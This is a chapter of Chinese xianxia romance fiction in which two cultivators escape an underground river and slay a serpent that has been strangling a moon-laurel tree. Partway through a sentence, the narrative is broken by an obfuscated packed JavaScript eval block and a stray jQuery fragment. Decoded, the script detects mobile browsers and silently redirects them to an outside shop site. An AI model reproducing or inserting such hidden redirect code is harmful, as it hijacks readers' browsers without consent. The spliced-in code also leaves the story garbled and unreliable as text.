悬崖下面是一条湍急的暗流。
卫源只来得及给阮清许套一层防护罩,让她遇水不湿,而自己却只能一头扎进水中。
人在落入急速流动的水中时,有一瞬间是使不上力的。
就在卫源打算先顺着水流往下走时,一根粗壮的藤曼“唰”一声划破书面,准确无误地缠在卫源腰上。
“好泡吗?”
被带出水下时,卫源睁眼便看见了一个青衣女子盘腿浮在半空,一手托腮,一手牢牢拉着藤曼。
“有点冷。”
卫源认真感受了一下水温,道:“我觉得你应该不会喜欢。”
阮清许眼眸温柔看着底下一本正经给她转达感受的人,手一用力,把人拉了上来。
顺着藤曼的力道,卫源湿漉漉站在了怪石嶙峋的岸上,湿透了的衣衫紧紧扒着皮肤。
从河道过来的阮清许挑眉,抬手在一览无余的好身材上摸了一把,叹道:“手感一如既往。”
被揩了油的卫源脸皮厚的吓人,面不红心不跳地把湿透的衣衫脱了下来,转过身道:“方才好似被东西划了一下,你帮我看看?”
阮清许依言看去,背部紧实的肌肉线条流畅有力,哪有什么暗伤,倒是底下的窄腰因为方才藤曼的拉扯,粉红一片。
“好了。”
阮清许敷衍拍了拍手下紧实的肌肉,将还剩下伤药的玉瓶丢回去。
万宝阁价值千金,滴上一滴伤口便能愈合的伤药,就这么被用来治疗擦伤。
被均匀抹了一层药的窄腰,没过一会儿上面的粉色便消失殆尽,光洁如初。
卫源遗憾地套上衣服,在阮清许调笑的目光下,举起伤口差点就要愈合的手指:“这里方才也被碎石划到了。”
待到阮清许再次耐心给他上好药后,卫源又想故技重施,这下阮清许没再惯着他。
“啪”
响亮的一声落在结实的手臂上。
“这里要不要上药?”
阮清许眯着眼按着手下紧实的肌肉,似笑非笑。
作妖的人立即收敛,恢复往日的稳健。
卫源把手臂上的手拉下来,牵在手里,然后若无其事开始掏出罗盘看方向。
可惜暗河附近不知为何,磁场紊乱,指针乱颤,使得罗盘完全丧失功能。
又没有了一个工具。
卫源暗道这条暗河与自己相克,但也不能不拾起作为修士的身份,扩大灵识来查探各方。
见卫源终于放弃使用罗盘,阮清许松了一口气。
也不知道这家伙怎么了,进了秘境就开始神神叨叨的,不像一个剑修,更似道士。
在洞虚境的灵识下,所有藏匿无所遁形。
“发现了什么?”
阮清许戳了戳手中的掌心,问道:“我们不会又掉进兽的洞穴了吧?”
卫源捏了捏掌心的手,低声道:“走,带你去看一场热闹。”
远处,两队人马正争锋相对。
“冥灯是我们先发现的,劳烦道友交换与我们。”
紫色衣裳群体中,为首的修士看起来文质彬彬,出口的话却叫人不堪入耳。
“笑话,你们先发现你们怎么不采?不会是没匣子装吧?”
衣角处绣着鎏金的修士也不遑多让。
冥灯是一种药材,生长在阴暗潮湿,半点光线都没有的地方,只有有光,哪怕一点便再也活不成,又因结出的果子莹润,必要时可以用来照明,所以被叫冥灯。
冥灯生长条件苛刻,储存条件更是苛刻。
只有万宝阁专门产出的匣子能保证冥灯被采摘后,还能短时间内存活。
“师兄不必与他废话!不过是一群小贼!”
说罢,出声的弟子率先把早已手中团好的爆破符丢过去。
被同样早有防备的鎏金衣衫的弟子挡了回去。
“好不要脸啊!”
被卫源护在暗处的阮清许看见这一幕,再次感叹,长的好看的心肠也不一定好看。
事实证明,越是长得好看的人,下手越狠。
鎏金衣衫的修士们众手不敌,只能含恨看着他们把自己的幸苦采下的药材扬长而去。
热闹看完了,人也走光了。
阮清许回头,眼神询问身后的人,他们留在这还要做什么?总不能真的只是来看热闹的吧?
卫源带着阮清许绕过方才那群修士的打斗的地方,往前大概十多步,然后拐进一个山洞中。
山洞的上方豁开了个口子,皎月的光辉便是从这落下。
豁口下方长着一颗高大的灵树,枝繁叶茂,枝条摇曳间,月白的微光闪烁其间。
阮清许忍不住往前两步靠近:“吸风饮露,月华而养,这是月桂树不错。”
而而月桂树枝头上,便是他们解咒的材料之一——月华露。
“但它怎么看起来不太好的样子?”
阮清许瞅了眼哗啦作响的玉色树叶间,已经有了褐色枯败枝叶的树梢,又看了看正正落在树上的充裕的月华,皱眉不解。
就在阮清许想要靠近看得更清楚一些的时候,灵树下的影子潺潺开始游动。
一条同样以月华露为食的黑蛇缓慢地直起上半身。
阮清许看着游动间不甚露出的点点玉色的树干,心中的疑惑这才解开。
她就说,就算这灵树再如何年长,树干和树枝都应是玉色,怎么偏偏底下的树干是不伦不类的黑。
再看树梢枯败的叶子,也不知灵树是坚持了多久才无奈开始枯败。
“嘶嘶!”
贪婪丑陋的黑蛇警告这两个想要夺它口粮的人类。
阮清许对这警告不屑地笑了笑,长刀顷刻出现在手中,轻盈地身法鬼魅般游走,直扫黑蛇七寸。
黑蛇碗口粗的身子早就紧紧缠绕在树干之上,见刀风袭来,才终于舍得开始游动。
偌大的蛇头偏开阮清许斩下的刀锋,口中小孩手臂般粗长的蛇牙上布满诡异的紫色。
此蛇还是条毒蛇,那便更留不得了。
阮清许腰身猛地一转,灵活躲过袭击过来的血盆大口,同时动作快速地摘下月露往卫源的方向抛过去。
黑蛇哪能如她意,尾尖像淬了毒的铁鞭子,啪啪拍下阮清许抛出的月露。
晶莹的露珠落在地面,炸开后流出的灵气被阮清许勾了过来,卷成一个个小小的灵气弹,然后一个不落下地砸在树影流动地墨色中。
此举将黑蛇彻底激怒,再也不肯放过阮清许,追击也越来越猛烈。
阮清许顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806425|209422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着枝桠的走向,后翻出半丈,然后将不知何时收集起来的月露水再次抛向树圈外的卫源。
见自己的食物一次次被抢走,黑蛇顺着树干一下窜起,黑沉沉的影子将灵树的树枝都压弯了,信子吐得啪啪作响,但没一下能碰上阮清许。
随着阮清许的不断挑衅,灵树上的月露也被一人一蛇的角逐而打落不少,但更多的都被阮清许抛给了卫源。
“嘶!”
阮清许旋身落地,一直拿在手上没有发挥作用的长刀挽了个刀花,灰青色的灵力顺着树梢落下,将黑蛇缠绕在树上的躯体一分为二。
巨大的痛楚让黑蛇疯狂摇摆,只剩下把这伤了它的人一口吞掉的本能。
随着阮清许窜出灵树外,,只剩下半截身体的黑蛇也疯狂跟了出来。
凶狠地无差别攻击让紫色地毒液滴在它经过地每一寸土地上。
眼见着就要差点就能一口吃掉的人霎时间消失在眼前。
“你该感到荣幸。”
阮清许木讷的脸上布满霜寒,闪现在黑蛇的上方。
“秋月——斩!”
徐徐落在灵树上的月光此刻被阮清许牵动,疯狂涌入长刀,身后玉色的树叶疯狂作响。
一道半月状的刀光将脚下巨大的蛇头一刀劈开。
炸开的蛇躯在殒命的最后一刻,将毒囊里的毒素化入血中,化作一场毒雨落下。
被大卸八块的蛇躯零零散散落在这不大洞穴的各处。
蛇躯炸开时,卫源及时地撑起防护罩将阮清许护住其中。
幽绿的毒液滴在防护罩上,阮清许眼也不抬,满心满眼都是树干布满难看绞痕的灵树。
那一道道将要两指深的凹痕,不是一天便能形成的。
并且看灵树终于能露出的树纹,这还是一颗很年轻的树。
说明它还是一颗小树,尚未长成结果时,便给那贪婪的黑蛇给占据了。
阮清许越是心疼灵树,心中对黑蛇的怒火就越盛。
“呼!”
火焰无风自起,好似从地底烧上来般。
散落的蛇体被这冷灰色的火焰烧得一干二净,连灰都没有剩下。
这是卫源第一次清楚见到阮清许操控火焰的模样。
因为附身苍木,会时不时流过绿色暗芒的眼眸此刻完全被冷漠的灰色占据。
冷漠,安静,疏离。
卫源难受得伸手想要去确认阮清许是否还存在,却没能碰到,空落落的指尖划过空气。
阮清许一步一步靠近灵树,那双灰色的眼眸注视着枯败的枝叶,没说话。
“呼!”
一场比方才阮清许焚烧蛇躯更大的火焰将灵树包裹。
不同于阮清许的火焰冰冷,这场火焰温暖却不灼手,一如灵树般温温润润。
这是从灵树内部烧起的火焰,它在自焚。
阮清许睁眼看着,好似望见了这年轻灵树的一生。
树从土里伸展而出,快乐地晒着月华,后来被贪婪占据很长一段时间,树挣扎,树难过,树放弃,到现在树又变成开心的树,最后又随着一场火焰化作灰烬落入土中。
待灵树烧尽,阮清许又丢了一束小火苗,将方才滴入毒液的土地又净化了一次,好让来年能长出新的树。